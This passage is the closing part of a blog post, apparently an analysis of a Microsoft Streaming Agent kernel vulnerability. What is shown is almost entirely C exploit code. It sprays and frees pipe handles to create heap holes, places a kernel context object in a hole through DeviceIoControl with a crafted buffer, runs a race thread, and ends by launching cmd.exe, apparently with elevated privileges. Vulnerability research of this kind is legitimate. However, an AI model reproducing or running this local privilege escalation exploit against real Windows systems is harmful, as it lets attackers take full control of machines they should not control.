    for (int i = spray_size-0x20;i < spray_size;i += 4)
    {
        CloseHandle(tmp[i]);        // create hole
        CloseHandle(hPipeArray[i]);
    }

    ULONG_PTR InitBuf[0x20] = { 0 };
    InitBuf[0] = 0xdeadbeef;            // &1 != 0
    InitBuf[1] = 0xdeadbeef1;            // non-zero value
    InitBuf[2] = 0xdeadbeef2;            // non-zero value
                                        // InitBuf[3] = 0

    // Put FsContextReg in Hole
    DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

    DWORD sep_threadId;
    HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

    WaitForSingleObject(hMainThread, INFINITE);
    WaitForSingleObject(hSepThread, INFINITE);

    for (int i = 0;i < spray_size;i++) {
        if (tmp[i]) CloseHandle(tmp[i]);
        if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
    }
    CloseHandle(hMainThread);
    CloseHandle(hSepThread);
    CloseHandle(hEvent);

    system("cmd.exe");

    return 0;
}

Enter fullscreen mode Exit fullscreen mode

References


Source :- https://tutorialboy24.blogspot.com/2024/01/analysis-of-microsoft-streaming-agent.html

Top comments (0)